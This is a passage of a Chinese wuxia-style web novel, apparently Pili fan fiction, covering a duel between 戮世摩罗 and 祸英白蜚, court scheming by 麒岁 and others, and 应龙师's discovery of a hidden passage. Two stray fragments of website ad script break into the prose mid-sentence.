逆神刀在冰冷的空气中划出一道璀璨的光,如同彗星划破夜空,稳稳地挡住了祸英白蜚迅猛的攻击。 “是枪啊。”戮世摩罗盯着祸英白蜚手里的蛇玉长枪,语气轻佻地笑道,“这边对枪经验十分充足,你可要小心了。” 说罢,逆神刀光一转,内力如同潮水般涌动,直接把祸英白蜚震了出去! 祸英白蜚后退,长枪在空中划出一道道银白色的光芒,仿佛无数条银蛇腾空而起,张着血盆大口,朝着戮世摩罗疯狂扑来! 戮世摩罗身形如风,逆神带起一片片冰晶,连绵不断的攻击快若闪电,每一刀都直取祸英白蜚的要害。 面对如此凶猛的攻击,祸英白蜚倒是从容不迫,利用长枪的长度优势,有惊无险地化解了逆神的攻势。 “嗯,镇定自若,有条不紊。”戮世摩罗评价道,“不愧是修罗国度的魔将。” 刀光枪影在冰洞中交织,激起一片片飞雪玉花。逆神刀法越发凌厉,每一次挥刀都伴随着冰层的破裂声。蛇玉枪法如同游龙,每一次出击都逼得戮世摩罗退避三分。 只见祸英白蜚长枪一抖,银光乍现,一招“行水竭”瞬间施展,枪尖喷涌而出的魔气形成了一条巨大的银蛇,气势汹汹地扑向戮世摩罗! 戮世摩罗面不改色,逆神挥出一道斩击,瞬间将银蛇斩为两段,魔气四散,在冰洞中凝结成冰霜。 “修罗魔诀·烈阳邪火!” 戮世摩罗挥着逆神一招打出去,阻断了祸英白蜚的下一波攻势。 祸英白蜚乘势而上,枪身挥动,“行草枯!”只见蓝色的魔气犹如无数藤蔓,气势凌厉地袭向戮世摩罗。 戮世摩罗挥动逆神,刀芒璀璨,一招“烈焰狂涛”将藤蔓尽数焚尽。 在这你来我往的激烈战斗中,戮世摩罗忽然察觉到了一丝不寻常。 这个地方……有古怪。 这冰天雪地的环境,似乎在压制着他的招式,而对方的招式却可以完全地发挥出来。 这是怎么回事? 戮世摩罗眉头紧皱,又是一招烈焰狂涛挥了出去,祸英白蜚举枪抵挡,只后退了一小步。 果然,戮世摩罗心中一沉,确认了自己的猜测——他的招式在这个地方,竟然只能发挥出七成的威力。 怎么回事,难道是这个山洞有问题? 趁着戮世摩罗思索之时,祸英白蜚抓住了机会,再次发动攻势,蛇玉长枪在空中划出一道道锋利的弧线,直指戮世摩罗的弱点。 戮世摩罗挥刀抵挡,却发现他的招式威力正在不断减弱! 难道这是对方的圈套? 戮世摩罗的招式发挥不出应有的威力,逐渐被祸英白蜚的冰冷枪气所压制。而祸英白蜚的枪法则在低温环境中越发凌厉,一记“太古降灾”,魔气凝聚的冰石如暴雨般倾泻向戮世摩罗。 戮世摩罗急忙挥刀抵挡,刀光与冰石相撞,发出震耳欲聋的声响。 忽然一个不备,一块巨大的冰石猛地砸中了戮世摩罗的心口,将他狠狠地逼退几丈远,一口鲜血吐了冰面上,血腥而刺目。 祸英白蜚见戮世摩罗吐血,便迅速向前,举起长枪,朝着戮世摩罗的心脏猛刺而下! 那一瞬间,戮世摩罗的脑海中闪过了无数念头,如同走马灯般一一闪现。 他无声地盯着那枪尖,直直地朝他刺了下来。 —— 鬼飘伶和墨雪不沾衣赶到炎火山下时,对决已经开始好一会儿了,山洞外围了乌压压一大片的魔,有来给帝尊和祸英白蜚加油的,也有单纯来看热闹的。只不过,由于这次是帝尊亲自参战,所以平日里热衷于赌博的魔族也收敛了性子,没有出现押注的情景。 鬼飘伶拉着墨雪不沾衣挤了半天也挤不进去,便询问旁边一个踮着脚尖,焦急不安的紫发男子,“嗨朋友,你知道里面情况怎样了吗?” “不知道啊,”紫发男子显得颇为焦虑,他的眼神在魔兵之间的缝隙中来回穿梭,试图找到一丝可以窥视内部的空隙,“我也很担心帝尊啊。” “嗯?”鬼飘伶见他如此忧心,又盯着他看了几秒,忽然觉得此人似乎有些面熟…… “你……”他盯着对方,努力回忆了半天,忽然灵光一闪: “你是,苏大夫!” 苏容焉听到鬼飘伶的声音,这才将目光从人群中抽回,转向鬼飘伶,“咦?”他似乎也认出了鬼飘伶,愣了愣,然后恍然大悟: “啊,你是闇盟的三大剑客之一,鬼飘伶!我们在沉沦海有过一面之缘。” “好久不见苏大夫。”鬼飘伶拍了拍苏容焉的肩膀道,“上次你还帮我包扎伤口。” “小事,都是小事。”苏容焉笑着抓抓头发,接着问他,“对了,你怎么也来看我们帝尊的对决了,还有……”他注意到鬼飘伶身后的墨雪不沾衣,“这位是……” “墨雪不沾衣。”鬼飘伶介绍道,“胜弦主身边的剑客。”随后又对墨雪道,“这位是修罗国度的医官,青丘狐族的苏大夫。” 墨雪不沾衣低头道,“幸会。” “幸会幸会。”苏容焉急忙将礼行了回去。 “你们帝尊被挑战的事,传得沸沸扬扬,魔世当中无人不知无人不晓,我们自然也想来看个热闹。”鬼飘伶解释道,“你也来了,是等着救治你们帝尊的吗?” 苏容焉的笑容中带着几分勉强,眼神里满是担忧,“也不知道帝尊能不能打得过祸英将军……” 两人交谈之际,旁边一个好事的魔民忽然插嘴道,“唉,帝尊一个人族,打祸英将军,我看够呛,都不知道帝尊会不会武功。” “是啊,平时见帝尊出门,都是妖神将跟着,现在妖神将也不在里面帮他,真是凶多吉少。”另一个魔民附和道。 “喂喂喂你们,”见有人给戮世摩罗唱衰,苏容焉听不下去了,急忙上前理论,“能不能说点好的,帝尊可是史艳文的儿子,俏如来的弟弟,怎么就打不过祸英将军了。” 那几个魔民忽然被训斥,面面相觑,像是看神经病一样看了苏容焉一眼,各自散开了。 “你们很少见你们帝尊打架吗?”鬼飘伶有些好奇地问。 “从未见他出手过。”苏容焉摇了摇头,“不过我也没见过帝尊几次。听招摇关的魔兵说,帝尊平时出门都是妖神将跟着,几乎不见他单独行动的时候。” “那也有可能是为了制造假象。”墨雪不沾衣插言道。 鬼飘伶回头与他对视了一眼 ,“嗯,倒也有可能。” 正当三人站在山洞外闲聊之际,忽听洞里传来一声震耳欲聋的爆炸声! 那声音如同雷霆炸裂,三人心中皆是一震,急忙朝洞口看去,只见方才一直坐在石上守着洞口的网中人也猛地站了起来。 “发生什么事了?”苏容焉急忙询问。 接着,洞里面忽地飞出了两个身影! 那两个身影皆是横着飞出来,仿佛一只凶猛的巨兽从嘴中吐出了两具尸骨,伴随着飞舞的雪花和刺骨的寒气,“砰”地一声重重地摔在了地上。 苏容焉见状,忙推开周围的魔群,急切地挤了进去:“让一让,我是大夫,让我过去,让一让!” 鬼飘伶和墨雪不沾衣紧随其后,也跟着他挤入了人群。 待到三人挤到洞口前,皆是被眼前的景象震住了。 那从洞口飞出来的两人,正是戮世摩罗和祸英白蜚,两人身上都是伤痕累累,血迹斑斑。祸英白蜚已经昏过去了,而戮世摩罗被网中人扶起,似乎还有一点神智。 “发生什么事了!”网中人问道,语气中难得出现了一丝焦急。 戮世摩罗看着他的脸,挣扎着吐出了几个字,但他的声音微弱至极,被周围的嘈杂声淹没,随后他便闭上了眼睛,陷入了昏迷。 “戮世摩罗!”网中人喊道,“戮世摩罗!” 他喊了两声,不见戮世摩罗清醒,抬头看向人群,一眼便看到了刚刚挤进来的苏容焉,忙道,“苏容焉,救治帝尊!” 鬼飘伶在旁边冷不丁插言,“有没有人管管祸英白蜚。” “快来人快来人。”苏容焉急忙招呼旁边的魔兵,“这里离赤水关近,把帝尊和祸英将军都抬去赤水关。” 话音落下,人群中就冲出几个魔兵,将戮世摩罗和祸英白蜚背了起来。 魔民们纷纷退让,迅速为这几个魔兵让出了一条通道。 苏容焉急急忙忙地就要跟上去,走出去几步,忽然发现网中人还在原地站着,便退回来,有些疑惑地问道,“妖神将,你不一起过去吗?” 网中人未动,沉默片刻,对苏容焉道,“戮世摩罗交你了,医好他。” “咦?”苏容焉身子一僵,没明白网中人的意思,“你要去做什么……” “我回招摇关。”网中人听不出情绪地回答他,“小子说的,招摇关将有战事了。” —— 麒岁走到公子开明住的庭院之中时,发现他正坐在石桌前,对着一个古怪的木盘出神。 古树枝繁叶茂,蓝月的银光斑驳陆离地洒落在石桌上。树下的策君神情专注,手指间夹着一枚黑子子,几片落叶随风舞动,悄无声息地飘落在地。 麒岁见公子开明目不转睛地盯着木盘,便悄无声息地走上前去,想要一窥那木盘的究竟。 只见那木盘上纵横交错着细密如网的格子,上面摆放着数十颗黑白分明的棋子,公子开明单手托着腮,沉默不语地凝视着棋局,像是全然未觉麒岁的靠近。 麒岁轻声开口,带着一丝好奇,“这是什么?” 公子开明没 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 动,眼睛依旧盯着那棋盘,“围棋。” “围棋?是什么?”麒岁询问。 “人族的一种棋。”公子开明简短地回答他。 麒岁见他心无旁骛,便静静地走到石桌对面,缓缓坐下,不再出声打扰他了。 他坐在那里等待了好长时间,公子开明也没把那黑子落下去。最后他好似是放弃了,叹了口气将那黑子放下,直起身子问道,“疆主找我有事?” 麒岁语气中带着一丝无奈,“从继任大典那天开始,我就一直要找策君,策君不是肚子痛就是头痛,今天路过,总算看策君出了门,就进来看看。” “哎呀,哎呀哎呀。”公子开明夸张地扶住自己的脑袋,一副下一秒就要晕倒在地的模样,“头到现在还痛着,一点都思考不了。” 麒岁笑了一声,“策君就是不想见我罢了。” 公子开明立刻结束夸张的表演,非常坦率地承认了,“你——知道就好,知道你还来。”他指了指桃树后面的月门,“门在那边,慢走不送。” 麒岁自嘲道,“我在自己的府邸中都要被扫地出门了,策君的威风真是越来越大了。” “看不惯我就让我回沉沦海啊。”公子开明低下头去看那棋局了,眼睛都不抬一下。 麒岁幽幽地道,“以策君的智慧,不可能想不到,我既然把你带来了凶犁魔都,你若不能为我所用,我也不会让你活着离开。” 公子开明拿着黑子的手一顿,仿佛被他这句话吓到了,捂着心口抖了抖肩膀,“哎哟,你威胁本策君,本策君好害怕。” 麒岁转移了话题,眼神也随着公子开明的目光落在了棋局上,“能和我讲讲这围棋该怎么下吗?” “不能。”公子开明毫不犹豫地拒绝,“你又学不会。” 面对公子开明赤裸裸的挑衅,麒岁倒也不生气,只是笑着道,“策君都没教,怎知我能不能学得会?” “嗯,好吧,那本——策君就来看看你的天赋。”公子开明直起身子,简单讲述了一下围棋的规则后,指了指棋盘上的那局棋,“你看看,这局棋现在该怎么下?” 麒岁收敛了笑容,眉头紧锁,专注地盯着棋盘半晌,忽而笑出声来: “我若说错了,策君可不能笑我。” “放心,”本公子开明拍着心口保证,“本策君肯定第一个笑你。” “哈,这里也没有其他的人了啊。”麒岁一边玩笑道,一边指了指桌上的棋局: “观其白子,左边棋子分布均匀,气势恢宏,步步为营,是一条坦荡之路。而右边的棋子紧凑,局势复杂,似有陷阱潜伏,虽短却险。” “走哪条?”公子开明托着腮问道。 “自然是左边。”麒岁回答。 “那我若要设伏,会在哪边呢?”公子开明问道。 “依照正常的思路,自然是右边的局势更好设下埋伏伏击。”麒岁答道,“但你能想到的,对手也一定能想到。所以我想,上策为两条路皆埋伏,而中策为……” 他顿了顿,回道,“在小路上埋伏。” 公子开明歪了歪头,似是不太明白,“为什么?不是说敌人也一定能想到吗?” 麒岁笑着道,“因为小路易藏易攻,与对手的算计无关。” “嗯,那你会走哪条路呢?”公子开明继续问道。 麒岁回道,“我也走小路。” “为什么?”公子开明追问。 麒岁笑道,“因为小路多变数,任何一个变数,都是可以利用的拐点。” 公子开明没再说话,盯着棋盘沉默了一会儿,忽地把棋盘上的棋子一扫,抓起一把,“哗啦啦”地放回了旁边的棋盒里。 正当公子开明沉默不语地收棋时,祸雕忽然从外面急匆匆地跑进庭院,声音中带着一丝急切,“四殿下,四殿下你原来在这儿啊,找你半天了。” 见祸雕一脸焦急,麒岁立刻站起身来,“发生了何事如此匆忙?” 祸雕一把拉住麒岁,动作迅速地将他带出了月门,而后压低声音,紧张地对他说道,“修罗国度出事了。” 麒岁闻言,脸色骤变,忙问,“出什么事了?” “刚刚得了消息,戮世摩罗和祸英白蜚在炎火山一战,身受重伤,昏迷不醒,此时修罗国度再度陷入群龙无首之局面。”祸雕压低了声音对麒岁道,“现下沉沦海,既无策君把守,也无戮世摩罗镇守,是我们出兵的大好时机啊。” 麒岁皱着眉头,沉思片刻,抬头对祸雕道,“我马上修书一封,让母后牵制住幽闇联盟,你即刻出兵攻打招摇关,无论是否能攻下,这次也要给修罗国度一击重创。” “好。”祸雕闻言,转身就要去整兵,但身子还没转过去,麒岁忽然又叫住了他,“等下。” “嗯?”祸雕又把身子转了过来,疑惑地看着麒岁,“怎么了四殿下?” 麒岁斟酌片刻,上前一步,走到祸雕身旁,以手掩口,低声说道:“我写一封军令状给你,你知道这次该带谁去。” 祸雕一愣,随即明白了麒岁的意图,“四殿下,您的意思是……” “嗯。”麒岁点了点头,神情严肃,“去吧。” 祸雕心领神会,低头道,“祸雕领命。”而后转身,急匆匆地离开了。 祸雕刚一离开,麒岁转身就再次进了庭院,见公子开明还站在树下石桌旁,棋盘上的棋子已经收拾干净,他拿起棋盘,准备进屋了。 “不下了?”麒岁询问。 “本策君困了,去睡觉。”公子开明随口丢出一个理由,便朝屋门的方向走去。 “我还以为策君教了我下棋后,能带我下两局呢。”麒岁似是感到有些遗憾地说道,“教完就走,都不给徒弟一点锻炼的时间?” 公子开明听他这样说,在门前顿住了步子,缓缓转过头去,金色的眼睛在睫毛的阴影下,幽幽地盯着麒岁。 四目相对,原本柔和的晚风中竟隐隐带了一丝杀气。 “你——都自称徒弟了,那作为师父,本策君也提醒你一句~” 公子开明一边说着,一边缓缓地推开了沉重的木门,随之,与他平日跳脱的语气截然不同的低沉语气流出: “记得走大路。” 说完,他收敛了表情中的最后一丝温度,径直走进屋子,“砰”地一声将门关上了。 —未完待续— 20.蚓匿(5) 【20】 “开战了。”长琴无焰说道。 冷冽的银辉洒落于石桌上的常阳古琴,长琴无焰伸出手指,轻轻触碰琴弦边缘,似乎随时准备弹奏旋律。 鬼飘伶站在她对面,一边看着自己手中的鸟儿,一边回道,“昨日我们从赤水关离开时,听闻招摇关已经(开战)了。” “你们有经过战场吗?”长琴无焰询问道。 鬼飘伶摇了摇头,“我和墨雪绕道而回,没有路过沉沦海。但我在路上听说,修罗国度这边是妖神将、闼婆尊和赤甯朱厌带兵。” “凶岳疆朝呢?”长琴无焰继续问道。 鬼飘伶回忆了一下,答道,“好像是,祸雕,雷月青夔和丹阑毕方。” 听到这三个名字,长琴无焰微微叹了口气,一副早已预料到的样子,“果然。” 见长琴无焰这副神情,鬼飘伶询问,“胜弦主早就猜测到是他们了?” 长琴无焰沉默不语,指尖轻轻一拨,琴弦发出一声低沉的回响。 良久,她才缓缓开口:“祸英白蜚与戮世摩罗在炎火山决斗,那个地方,对戮世摩罗不利。” 鬼飘伶一怔,顿时恍然大悟,“怪不得戮世摩罗受了那么重的伤。” 顿了一下,又补充,“可是,祸英白蜚也受伤昏迷了。” “赤峰台里的千年寒冰能压邪火,恰好克制戮世摩罗的招式。而炎火山的火属性对祸英白蜚又有加成,便对戮世摩罗不利。”长琴无焰解释道: “想来,戮世摩罗的能力应在祸英白蜚之上,不然,祸英白蜚肯定是能赢的。” 鬼飘伶忽然反应过来,“原来之前胜弦主知道此战对戮世摩罗不利,所以才会认为沉沦海将有(战事)?” 长琴无焰轻轻点了点头,“麒岁不会放过这个机会。” “攻打招摇关的机会吗?”鬼飘伶追问,随后又似感到可惜地说,“但我感觉他们这次(出兵)太快,有些过急了。” 长琴无焰轻轻摇头,指尖再次弹出一串清脆的琴音: “不,是除掉六皇子府的机会。” 鬼飘伶反应了一下,随即明白了长琴无焰话中的意思,“胜弦主是说,麒岁是抓住了这个机会,故意让雷月青夔和丹阑毕方去……送死?” 长琴无焰点了点头,面色平静: “雷月青夔和丹阑毕方,皆是六皇子手下的大将,四皇子先前应是有意招降他们,如今看来,怕是没有成功,只好除掉了。” 鬼飘伶做了一个砍头的动作,“可是麒岁现在是疆主,他要杀人,直接杀就好了。” 长琴无焰解释道,“刚刚继位就大开杀戒,又是亲弟弟的部将,轻则落人口实,重则失去民心。恰好戮世摩罗在此时受伤,倒给了他一个机会,还能趁此消耗修罗国度的战力。” 顿了顿,她又补充,“从前应龙师在,可以一手遮天。而现在的疆朝重臣,一个是麒岁的舅舅,一个是麒岁的姑姑,他的母亲手握重兵镇于瑶山,应龙师和麒染又都还未确认死亡,他的位置不稳,又怎敢失了民心。” “那他把雷月青夔和丹阑毕方派出来打仗,也不怕他们(叛变),投靠修罗国度哦。”鬼飘伶扶着脑袋摇了摇头。 “麒岁应该有在军中安插了监视的人手。”长琴无焰提醒道。 鬼飘伶回忆了一下,想了起来,“(确实),除了丹阑毕方和雷月青夔,祸雕也带军出征了。” “这场战争最后的结局,恐怕就是凶岳疆朝只剩祸雕的部队,且招摇关兵力损耗大半了。”长琴无焰的语气带着些许沉重,似是对即将到来的境况并不乐观: “帝尊受伤,策君失踪,招摇关只余妖神将、闼婆尊,又被战争虚耗……唉。” 她最后意味深长地叹了口气,不知道想到了什么。 “那我们要派援军吗?”鬼飘伶问。 长琴无焰低头凝视着琴弦,沉思良久,才缓缓开口,“我会让鬼槐英招守在沉沦海边境,但……”她斟酌了一下,又道“目前我们不必出兵。” “还不到时候……还是……?”鬼飘伶试探着问道。 长琴无焰的目光穿透夜色,望向远方,声音如同悠扬的琴音随风飘散: “我想,我们可以等等策君的消息。” —— “凤妹!你知道麒岁那个畜牲他干了什么事吗?” 凤璇音早晨刚一出屋门,就看到麒染怒火中烧地从门外冲了进来,脸色铁青如同暴风雨前的天空: “他把雷月青夔和丹阑毕方派去打招摇关了!” 凤璇音一看到麒染,惊得手中的扇子差点脱手,“六哥?我……我不是让你躲起来,不要再来寒魄宫了吗?你怎么……” “麒岁他欺人太甚,竟把我的手下派出去送死!”麒染走到石桌前,一拳砸在冰冷的石头上,手背青筋凸起,“不行!我要去救他们!” “救他们?”凤璇音走到麒染身旁,抬着头看他,像是在看一只失去控制的野兽,“你自己一个人去救吗?” 麒染转头看她,语气里带了些求助,“凤妹,你平日里最有办法,快帮我想想,怎样才能救雷月青夔和丹阑毕方?纵使不顾情谊,我打回魔都也要靠他们啊!” 凤璇音见他激动不已,便轻拍麒染的胳膊,试图安抚他狂躁的情绪,“六哥你先冷静,雷月将军和丹阑将军武艺高强,他们吉人自有天相,不会有事的,倒是六哥你啊……” 她叹了口气,声音里满是担忧:“你这么冒冒失失地闯进来,幸好今日四哥不在,若是刚好撞上四哥,一切不就都完了?” “我实在是坐不住了。”麒染的愤怒溢于言表,“我要去招摇关找雷月和丹阑,带着他们杀回魔都!” “然后落实叛国的罪名?”凤璇音语气无奈,“六哥,你一定要冷静。现在要叛国的是四哥,你却着急冒头帮他顶罪,四哥要是知道了,肯定要开心坏了。” “那怎么办?我现在该怎么办?”麒染焦躁地问道,仿佛下一刻就要挥舞流星锤冲向招摇关。 “怎么办,不是已经告诉六哥了吗?”凤璇音拿着扇子给麒染扇了扇风,像是要给他降温,“不要来羽瑞寒魄宫,不要来找我,把自己藏好了。你不是给了我一个传音镜吗?”凤璇音提醒他,“如果我要六哥来,会用传音镜告诉你的。” 麒染深吸一口气,又呼出来,情绪似乎比刚才稍微平复些了。 他盯着地面平复了两三秒,忽然又像是想起了什么,抬头看向凤璇音,“麒岁最近有来过吗?” 凤璇音摇了摇头,“自他把策君带回魔都以后,就再也没有来过了。” “怪事,真是怪事。”麒染的声音仍稍显急促,“他以前来你这里比我都勤,怎么现在不来了。难道当上疆主,就把你忘到脑后了?” 凤璇音垂着眸子,斟酌片刻,开口道: “我怀疑四哥要杀我。” 麒染闻言,脸上闪过一丝难以置信的震惊,“什么?” 凤璇音沉声道,“我知道四哥那么多秘密,现在他当上了疆主,除掉我是早晚的事情,而且,”她抬起头来看麒染,“勾结外邦谋害先王之事,我已经可以算得上人证了,若不是我被困在此地,甚至可以直接在文武百官面前告发他。” 麒染的眉头紧锁,显然也感觉到了事态的严重性,“那我更不能离开羽瑞寒魄宫了,这里别人都不能进入,若他要杀你,谁来保护你……” “不,”凤璇音打断了他的话: “六哥,只要我不在传音镜里给你消息,你就千万不要来羽瑞寒魄宫。” 麒染的语气再次燃起了怒意,“他要害雷月和丹阑,我不能去救。他要杀你,我还是不能救,我现在到底能做什么?” “六哥现在能做的,就是保护好能够扳倒四哥的那个人。”凤璇音握住麒染冰凉的手,小心翼翼地安慰他道,“我们那么大费周章地找证据,可若是没有六哥,众臣依然要认四哥为主。你现在是唯一能扳倒四哥的人了,你一定要保护好自己。” “……唉!” 麒染回握住凤璇音的手,重重地叹了口气,随后咬牙切齿地道: “麒岁,这笔账,我一定加倍向你讨回!” 凤璇音见他还沉浸在愤怒之中,便连忙转移了话题,“对了六哥,那封需要交给钦相的信,你转交给他了吗?” 麒染闻言,忙点点头,“去了,我亲自去的。” 凤璇音一怔,随即带些埋怨地道,“你亲自去的?六哥,你真喜欢亲自涉险啊!” “我哪有他人可用?”麒染没好气地道,“那日舅舅送赤水姑姑出城,没说两句话,赤水姑姑就离开了。我见城墙上魁度谿边也不在,就忙出现将信交给了舅舅。” “他有认出你吗?”凤璇音有些不放心地问。 “你放心,”麒染宽慰她道,“我有伪装自己,没有让他看出我的身份。” 顿了一下,又有些好奇地问,“你要我继任大典那日送过去,时间紧迫,我也没来得及看,那信里究竟写了什么?” “这……也没说什么。” 凤璇音弯着眼睛笑了笑,语气如同说闲话一般平静: “就是告诉钦相,那封给戮世摩罗的书信,在四哥的北鹿阁里。” —— 血腥味四处弥漫,猩红液体如溪般流淌,在昏暗的房间内构成一幅令人作呕的画面。 一盏龙角云纹青铜鼎矗立在屋子中央,熊熊燃烧的火焰在炉底跳跃,发出噼啪的声响。火光映照在炉壁上,炉鼎上的符文随着火光闪烁颤动。 应龙师闭着眼坐在炉鼎前,闭着眼睛运行功力,查探体内的毒素。 他以猛药杀死八名人族药师,将他们全部丢入炼丹炉中,炼制出一颗解毒丹。服用丹药三日过后,体内毒素已去大半,但要想彻底清除,还需再炼制一颗。 亦或者,找到五生石。 应龙师想起,之前那苗疆女娃说,苗王宫后面的山上有很多五生石,但他那日拿回“五生石”后发现,那只不过是长得很像五生石的普通石头而已。 人世……会有五生石吗? 应龙师缓缓睁开眼睛,凝视着前方的炉鼎,过了片刻,扶着崩云古幡缓缓站了起来。 无论如何,他决定去赌一把。 应龙师换了一身不起眼的村民装束,步履匆忙,行动隐蔽,一路走来了苗疆王宫后面的山下。 这座山并不高,甚至说,只能算一个山丘。山上杂草丛生,树木扭曲,野生植物在潮湿的土地上疯狂蔓延,密集的枝叶遮天蔽日,阴森可怖。 应龙师在山下寻觅了半天,终于发现了一条隐秘的小径。 这条小径荒废已久,遍布着腐烂的枝叶和蔓延的藤蔓。应龙师一边小心地往前走着,一边在地上仔细寻找着,看能不能找到五生石。 应龙师越走越深,周围的雾气越来越浓,阳光也越来越稀薄。树木如同鬼魅般张牙舞爪,灌木丛在微弱 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的光线下,像是一只只隐匿在暗处的怪物。 如若不是魔族在魔世见惯了此等场景,应龙师可能走一半就被吓退回去了。 他一路前行,走着走着,忽然看到前方出现了一方湖泊。 那湖泊似乎是滩死水,湖水呈黑色,上面漂浮着一些枯叶,弥漫着腐烂植物的味道。湖泊周围似乎有毒虫飞来飞去,发出“嗡嗡”的声音,扰乱心绪。 应龙师注意到那水潭周围似乎有石头,便踩着一地泥泞的苔藓走了过去。 正当他走到水潭边之时,忽感身后袭来了一阵刀气! 应龙师反应迅速,回身一掌将那刀打偏,但对方速度也很快,刀尖偏离方向后,又迅速找回位置,在凛冽的寒光之中朝应龙师砍了过来! 应龙师一边走躲着刀招一边后退,对方刀刀快如闪电,又是近身,应龙师没退几步,身上已经被砍了好几刀! “可恶——” 应龙师将崩云古幡讲地上一杵,阵法瞬间发出刺眼的绿色光芒,将刀客震退了出去! 那刀客后退几步,稳住了身形。应龙师定睛一看,竟是之前伤他的那名刀客。 那女娃唤他什么……?似乎是叫风逍遥? 他刚想起来对方的名字,风逍遥就开口说话了,“在这里等你好几天了,终于来了。” “哼……原来是守株待兔。”应龙师挥起手中崩云古幡,冷冷笑道,“可惜,老朽不是兔,而是亡你性命的——” “应龙!” 话音刚落,阵法已在空中凝聚,凶猛的落雷如同狂怒的巨龙,直奔风逍遥而去! 五雷轰顶之下,绿色的光芒将阴森的古林照得如同白昼,风逍遥举刀再次朝应龙师猛攻。应龙师挥动崩云古幡,试图拉开距离,但风逍遥的速度实在太快,数次险些得手。 “实力不差,但……” 应龙师绕到水潭边,左手猛地起阵,魔气四溢,挥掌朝风逍遥打去! “还是太年轻了!” 应龙师的阵法层出不穷,风卷残云,电闪雷鸣。捕风短刀刀光闪烁,刀刀如同疾风骤雨,森林中的树叶被战斗的气流吹得簌簌作响,水潭中的黑水也被波动得泛起涟漪。 “如果不是老朽被毒牵制,也不可能让你这娃娃……” 崩云古幡“砰”地一声砸在地面,激起一片泥沙落叶,尘土飞扬。应龙师瞅准时机,挥手间又是一道惊雷,如同愤怒的巨龙,朝着风逍遥迅猛地扑去! 然而,正当那雷电即将击中风逍遥之时,地面却忽然诡异地震动了起来! 一时间树摇石晃,“轰隆隆”的声音从地下传出,仿佛有什么巨大的魔物即将破土而出! “嗯?”应龙师低头看向地面,“什么情况?” 风逍遥也停了刀势,低头看向裂开的地面,“啊?”他有些难以置信地自言自语道,“该不会地震了吧?” 地面的震动愈发剧烈,两人几乎无法稳住身体,摇摇欲坠。 应龙师脚步踉跄,试图稳住身形逃离这片险地,但水潭边的苔藓湿滑,他一个不留神,身体向后一仰,“扑通”一声,跌入了深邃的水潭之中! 风逍遥一见应龙师跌落水潭,急忙上前,但还没等他走到水潭边,就见那黑色的水潭仿佛是无底深渊,一口将应龙师吞噬,消失得无影无踪。 风逍遥一下子顿住了步子。 看见应龙师被吞没,他再上前涉险,那就是傻子了。 “怎么没有冒头,该不会是淹死了吧。” 风逍遥手紧握短刀,警觉地盯着那因为地震而不断泛起涟漪的水潭。 许久之后,风逍遥见潭水中依旧没有任何人影浮现,这才缓缓将刀收入鞘中。 “这么长时间都没出来,就算水性再好,也应该淹死了……”他低声自语。 “此地不宜久留,还是先回去禀报王上。” 说罢,他转身,匆匆向苗王宫的方向赶去了。 此时应龙师落进水潭,本想挣扎着冒出头,却在伸手的一瞬间,发觉了异样。 他睁开眼睛,挥动了一下手臂,忽然意识到——这不是水。 水潭的下面,不是水,而是一个幽深的空间。 应龙师思索片刻,猛然醒悟——这哪里是什么水潭,分明是一个障眼法!人在阵外看到的黑色水潭,一旦落入阵中,便会触及到了水潭之下的空间。 只见这阴暗幽深的环境中,隐隐约约有几点浮光,好似暗夜里的萤火虫一般。周围虽然没有水,但应龙师却仍旧感觉不到地面的存在,只能浮在半空中,警惕地观察着周围的情况。 应龙师镇定自若,控制着自己的身躯,随着那飘动着的光点向前。 不知这样移动了多久之后,应龙师忽然看到前方隐隐约约出现了一个更大的光点,那光点呈冰蓝色,靠近它时,甚至能感觉到逼人的寒气。 应龙师皱了皱眉,朝着那光点靠近。 随着距离的缩短,应龙师逐渐看清——那并非光点,而是一条闪耀着冰蓝光芒的通道。 看到那通道,应龙师心中忽然涌起一股强烈的预感,他继续向前,离那通道越近,心中的猜测就越发强烈。 这股逐渐清晰的气息是…… 当他终于站在通道面前时,内心的猜测终于得到了证实—— 那通道后面散发出的气息,正是魔气。 难道……在魔世与人界之间,还有第三条通道? —未完待续— 21.围杀(1) 【21】 不出胜弦主所料,开战两个蓝月之后,凶岳疆朝兵败的消息就传回了凶犁魔都。 由于出师不利,消息传回后,凶岳疆朝上下都沉浸在了一片沉重的萎靡气氛之中,士气低落至冰点。 正在此危机之际,麒岁向全国发布了一道诏书,先是承认自己对兵败有着不可推卸的责任,随后颁布政策安抚伤亡将士家属,并且承诺会整顿军队,提高战力,以保证下一次出征的胜利。 虽然兵败令国民颓丧,但疆主迅速写下这样一封诏书,倒也很好地安抚了民众们的情绪。没过几天,大家又都开始称赞新任疆主英明仁爱,勇于担当,肯定是一代明君。 但在此刻,那位“英明仁爱”的疆主,却遇到了一点麻烦。 前几日,他刚刚迎接班师回朝的祸雕,今日,钦相就阴气沉沉地找上门来了。 庭院中,桃花零落,本应是桃之夭夭灼灼其华的美景,却被两人之间剑拔弩张的气氛染上了一抹秋日的萧瑟与肃杀。 钦相站在桃树左侧,神情严峻如铁,手中的象牙拐杖狠狠地杵在地上,仿佛要将地面戳出一个窟窿。 而对面的麒岁则低眉顺目,恭谨有加,一副“钦相说一,我就绝不说二”的恭顺模样。 空气似乎都在此刻凝结。 在这紧张的气氛中,钦相率先开口了,低沉的语气下藏着一丝失望: “麒岁,你如实告诉老臣,句余山谷之战,戮世摩罗究竟有没有参与?” 麒岁像是听到了什么笑话,先是笑了一声,而后镇定地回答,“舅舅,你在开什么玩笑?句余山谷的入口都被封锁了,戮世摩罗他怎么可能进来?” 钦相似乎对他的回答并不接受,“那你敢不敢让我的人搜一搜,看看你这北鹿阁中有没有给戮世摩罗的书信?” 麒岁听带他这样说,方才还柔和的神色忽如同冰湖般冷了下来。 “舅舅,你这个要求,过分了。” 象牙手杖在地面发出沉重的敲击声,就如同钦相的声音一般压抑,“我是你的舅舅,但我同时也是这个凶岳疆朝的钦相。”钦相苍老的声音回荡在庭院内,“我要为这个国家负责。 “我也要为疆主的威严负责。”麒岁的声音带了一丝警告,“您虽然是我的长辈,但也是我的臣子。臣子带人来搜疆主的住所,这样合适吗?” “所以今日我来,谁都不知道。”钦相回道,“若你宫中没有蹊跷,此后除了你我,也不会有他人知道今日之事。我带来搜房的人都是死士,搜完即杀。” “这样,”钦相直视麒岁问道,“你还有什么疑虑?” 